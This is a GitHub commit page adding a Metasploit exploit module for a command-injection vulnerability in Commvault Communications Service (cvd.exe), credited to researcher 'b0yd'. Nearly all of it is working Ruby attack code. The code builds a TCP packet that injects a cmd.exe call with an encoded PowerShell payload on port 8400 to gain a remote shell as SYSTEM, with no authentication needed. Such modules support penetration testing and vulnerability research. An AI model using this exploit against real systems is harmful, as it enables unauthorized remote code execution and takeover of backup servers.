Skip to content

Commit d657a9d

Browse files
committed
Commvault Remote Command Injection
1 parent 1975713 commit d657a9d

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/powershell'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Exploit::Powershell
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Commvault Communications Service (cvd) Command Injection',
16+
'Description' => %q{
17+
This module exploits a command injection vulnerability
18+
discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
19+
and v10). The vulnerability exists in the cvd.exe service and allows an
20+
attacker to execute arbitrary commands in the context of the service. By
21+
default, the Commvault Communications service installs and runs as SYSTEM in
22+
Windows and does not require authentication. This vulnerability was discovered
23+
in the Windows version. The Linux version wasn't tested.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
33+
],
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
[ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
38+
{
39+
'Arch' => [ARCH_X64, ARCH_X86]
40+
}
41+
],
42+
],
43+
'Privileged' => false,
44+
'DefaultTarget' => 0,
45+
'DisclosureDate' => 'Dec 12 2017'))
46+
47+
register_options(
48+
[
49+
Opt::RPORT(8400),
50+
])
51+
end
52+
53+
def exploit
54+
55+
print_status("Executing payload")
56+
buf = build_exploit()
57+
58+
connect
59+
print_status("Connected to Commvault Communications Service.")
60+
#Send the payload
61+
sock.put(buf)
62+
63+
#Handle the shell
64+
handler
65+
disconnect
66+
67+
end
68+
69+
70+
def build_exploit()
71+
72+
ret_data = ''
73+
74+
#Get encoded powershell of payload
75+
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
76+
#Remove additional cmd.exe call
77+
psh = "powershell"
78+
idx = command.index(psh)
79+
command = command[(idx)..-1]
80+
81+
#Build packet
82+
cmd_path = "C:\\Windows\\System32\\cmd.exe"
83+
msg_type = 9
84+
zero = 0
85+
payload = ""
86+
payload += make_nops(8)
87+
payload += [msg_type].pack('I>')
88+
payload += make_nops(328)
89+
payload += cmd_path
90+
payload += ";"
91+
payload += ' /c "'
92+
payload += command
93+
payload += '" && echo '
94+
payload += "\x00"
95+
payload += [zero].pack('I>')
96+
97+
#Add length header and payload
98+
ret_data = [payload.length].pack('I>')
99+
ret_data += payload
100+
101+
return ret_data
102+
103+
end
104+
end

0 commit comments

Comments
 (0)